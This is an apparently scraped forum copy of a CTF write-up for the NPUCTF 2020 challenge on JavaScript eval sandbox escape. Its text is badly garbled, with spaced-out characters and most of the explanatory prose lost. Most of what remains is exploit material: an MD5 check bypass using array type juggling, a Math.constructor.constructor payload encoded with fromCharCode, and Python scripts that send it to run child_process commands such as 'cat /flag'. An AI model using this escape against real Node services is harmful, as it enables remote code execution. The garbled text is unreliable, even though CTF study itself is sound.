[19658] 2020-10-29_CTF经典赛题丨这个EXP逆向解题思路太到位了,值得收藏!

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2020-10-29_CTF经典赛题丨这个EXP逆向解题思路太到位了,值得收藏! C T F E X P i   2 0 2 0 - 1 0 - 2 9   i   x i a o l e u n g [ N P U C T F 2 0 2 0 ] C T F E X P J a v a S c r i p t C o n s t r u c t o r R c e
J a v a S c r i p t s a f e r E v a l a p p . p o s t ( ' / ' ,   f u n c t i o n   ( r e q ,   r e s )   {     l e t   r e s u l t   =   ' ' ;     c o n s t   r e s u l t s   =   r e q . s e s s i o n . r e s u l t s   | |   [ ] ;     c o n s t   {   e ,   f i r s t ,   s e c o n d   }   =   r e q . b o d y ;     i f   ( f i r s t   & &   s e c o n d   & &   f i r s t . l e n g t h   = = =   s e c o n d . l e n g t h   & &   f i r s t ! = = s e c o n d   & &   m d 5 ( f i r s t + k e y s [ 0 ] )   = = =   m d 5 ( s e c o n d + k e y s [         i f   ( r e q . b o d y . e )   {             t r y   {                 r e s u l t   =   s a f e r E v a l ( r e q . b o d y . e )   | |   ' W r o n g   W r o n g   W r o n g ! ! ! ' ;             }   c a t c h   ( e )   {                 c o n s o l e . l o g ( e ) ;                 r e s u l t   =   ' W r o n g   W r o n g   W r o n g ! ! ! ' ;             }             r e s u l t s . u n s h i f t ( ` $ { r e q . b o d y . e } = $ { r e s u l t } ` ) ;         }     }   e l s e   {         r e s u l t s . u n s h i f t ( ' N o t   v e r i f i e d ! ' ) ;     }     i f   ( r e s u l t s . l e n g t h   >   1 3 )   {         r e s u l t s . p o p ( ) ;     }     r e q . s e s s i o n . r e s u l t s   =   r e s u l t s ;     r e s . s e n d ( r e n d e r ( r e q . s e s s i o n . r e s u l t s ) ) ; } ) ; f u n c t i o n   s a f e r E v a l ( s t r )   {     i f   ( s t r . r e p l a c e ( / ( ? : M a t h ( ? : . w + ) ? ) | [ ( ) + - * / & | ^ % < > = , ? : ] | ( ? : d + . ? d * ( ? : e d + ) ? ) |   / g ,   ' ' ) )   {         r e t u r n   n u l l ;     }     r e t u r n   e v a l ( s t r ) ; }
f i r s t . l e n g t h s e c o n d . l e n g t h f i r s t s e c o n d f i r s t s e c o n d M D 5 J a v a S c r i p t J a v a S c r i p t [ 1 ] = = 1 t r u e f a l s e p h p J a v a S c r i p t n o d e l e n g t h l e n g t h   i f   ( f i r s t   & &   s e c o n d   & &   f i r s t . l e n g t h   = = =   s e c o n d . l e n g t h   & &   f i r s t ! = = s e c o n d   & &   m d 5 ( f i r s t + k e y s [ 0 ] )   = = =   m d 5 ( s e c o n d + k e y s [
f i r s t   & &   s e c o n d   & &   f i r s t . l e n g t h   = = =     s e c o n d . l e n g t h   & &   f i r s t ! = = s e c o n d   & &   m d 5 ( f i r s t + k e y s [ 0 ] )     = = =   m d 5 ( s e c o n d + k e y s [ 0 ] )   f i r s t   s e c o n d m d 5 p a y l o a d 1 0 k e y [ 0 ] m d 5 , m a t h R C E { " e " : p a y l o d , " f i r s t " : [ 0 ] , " s e c o n d " : " 0 " } i m p o r t   r e q u e s t s i m p o r t   j s o n h e a d e r s   =   {         " C o n t e n t - T y p e " : " a p p l i c a t i o n / j s o n " } u r l   =   " h t t p : / / f f 8 e f e c b - b 1 b c - 4 d f 1 - a f 3 d - 2 4 9 b 2 8 5 a 0 c 5 4 . n o d e 3 . b u u o j . c n / " d a t a   =   { " e " : ' p a y l o d ' , " f i r s t " : [ 0 ] , " s e c o n d " : " 0 " } r   =   r e q u e s t s . p o s t ( u r l , d a t a = j s o n . d u m p s ( d a t a ) , h e a d e r s = h e a d e r s ) p r i n t ( r . t e x t )
M a t h M a t h E X P M a t h = >   x   = >   x   *   x   a   =   x = > x * x   a ( x = > x + x ) ( 2 ) 2 f u n c t i o n   s a f e r E v a l ( s t r )   {     i f   ( s t r . r e p l a c e ( / ( ? : M a t h ( ? : . w + ) ? ) | [ ( ) + - * / & | ^ % < > = , ? : ] | ( ? : d + . ? d * ( ? : e d + ) ? ) |   / g ,   ' ' ) )   {         r e t u r n   n u l l ;     }     r e t u r n   e v a l ( s t r ) ; } ( M a t h = > (         M a t h = M a t h . c o n s t r u c t o r ,         M a t h . x = M a t h . c o n s t r u c t o r (                 M a t h . f r o m C h a r C o d e ( 1 1 4 , 1 0 1 , 1 1 6 , 1 1 7 , 1 1 4 , 1 1 0 , 3 2 , 1 1 2 , 1 1 4 , 1 1 1 , 9 9 , 1 0 1 , 1 1 5 , 1 1 5 , 4 6 , 1 0 9 , 9 7 , 1 0 5 , 1 1 0 , 7 7 , 1 1 1 , 1 0 0 , 1 1 7 , 1 0 8 , 1 0 1 , 4 6 , 1 1 4 , 1 0 1 ,                 ) ( ) ) ) ( M a t h + 1 ) f u n c t i o n   ( x )   {         r e t u r n   x   *   x ; }
p a y l o a d ( M a t h = M a t h . c o n s t r u c t o r , M a t h . x = M a t h . c o n s t r u c t o r ( . . . . . . ) )   M a t h . c o n s t r u c t o r   f u n c t i o n   o b j e c t (   ) , f u n c t i o n O b j e c t F u n c t i o n F u n c t i o n F u n c t i o n e v a l M a t h . c o n s t r u c t o r . c o n s t r u c t o r ( )   n e w   F u n c t i o n (   )   M a t h . c o n s t r u c t o r . c o n s t r u c t o r ( . . . . . ) v a r   s u m   =   M a t h . c o n s t r u c t o r . c o n s t r u c t o r ( ' a ' ,   ' b ' ,   ' r e t u r n   a   +   b ' ) ; s u m ( 1 , 2 ) ; v a r   f u n   =   n e w   F u n c t i o n ( ' a ' ,   ' b ' ,   ' r e t u r n   a   +   b ' ) ; f u n ( 1 , 2 )
M a t h a l e r t (   ) p a y l o a d f r o m C h a r C o d e A I I S C p a y l o a d E X P i m p o r t   r e e n c o d e   =   l a m b d a   c o d e :   l i s t ( m a p ( o r d , c o d e ) ) d e c o d e   =   l a m b d a   c o d e :   " " . j o i n ( m a p ( c h r , c o d e ) ) a = f " " " ( m 0 = > (                 m 0 = m 0 . c o n s t r u c t o r ,                 m 0 . x = m 0 . c o n s t r u c t o r (                         m 0 . f r o m C h a r C o d e ( { e n c o d e ( " r e t u r n   p r o c e s s . m a i n M o d u l e . r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c S y n c ( ' c a t   / f l a g ' ) " ) } )                 ) ( )         ) ) ( M a t h + 1 ) " " " a = r e . s u b ( r " [ s [ ] ] " ,   " " ,   a ) . r e p l a c e ( " m 0 " , " M a t h " ) p r i n t ( a ) i m p o r t   r e q u e s t s i m p o r t   j s o n h e a d e r s   =   {         " C o n t e n t - T y p e " : " a p p l i c a t i o n / j s o n " } u r l   =   " h t t p : / / 1 4 b 5 a e 3 b - e 4 4 4 - 4 e 5 b - 9 e 2 b - 1 b a 3 1 0 0 f c 0 8 5 . n o d e 3 . b u u o j . c n / " d a t a   =   { " e " : ' ( M a t h = > ( M a t h = M a t h . c o n s t r u c t o r , M a t h . x = M a t h . c o n s t r u c t o r ( M a t h . f r o m C h a r C o d e ( 1 1 4 , 1 0 1 , 1 1 6 , 1 1 7 , 1 1 4 , 1 1 0 , 3 2 , 1 1 2 , 1 1 4 , 1 1 1 , 9 9 , 1 0 1 , 1 1 5 , 1 1 5 , 4 6 , 1 0 9 , 9 7 , 1 0 5 , 1 1 0 , 7 7 , 1 1 1 , 1 0 0 , 1 1 7 , 1 0 8 , 1 0 1 , 4 6 , 1 1 4 , 1 0 1 , 1 1 3 , 1 1 7 , 1 0 5 , 1 1 4 , 1 0 1 , 4 0 , 3 9 , 9 9 , 1 0 4 , 1 0 5 , 1 0 8 , 1 0 0 , 9 5 , 1 1 2 , 1 1 4 , 1 1 1 , 9 9 , 1 0 1 , 1 1 5 , 1 1 5 , 3 9 , 4 1 , 4 6 , 1 0 1 , 1 2 0 , 1 0 1 , 9 9 , 8 3 , 1 2 1 , 1 1 0 , 9 9 , 4 0 , 3 9 , 9 9 , 9 7 , 1 1 6 , 3 2 , 4 7 , 1 0 2 , 1 0 8 , 9 7 , 1 0 3 , 3 9 , 4 1 ) ) ( ) ) ) ( M a t h + 1 ) ' r   =   r e q u e s t s . p o s t ( u r l , d a t a = j s o n . d u m p s ( d a t a ) , h e a d e r s = h e a d e r s ) p r i n t ( r . t e x t )
i i 广 广 线 1 2
  1 2   i . . . i 沿

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则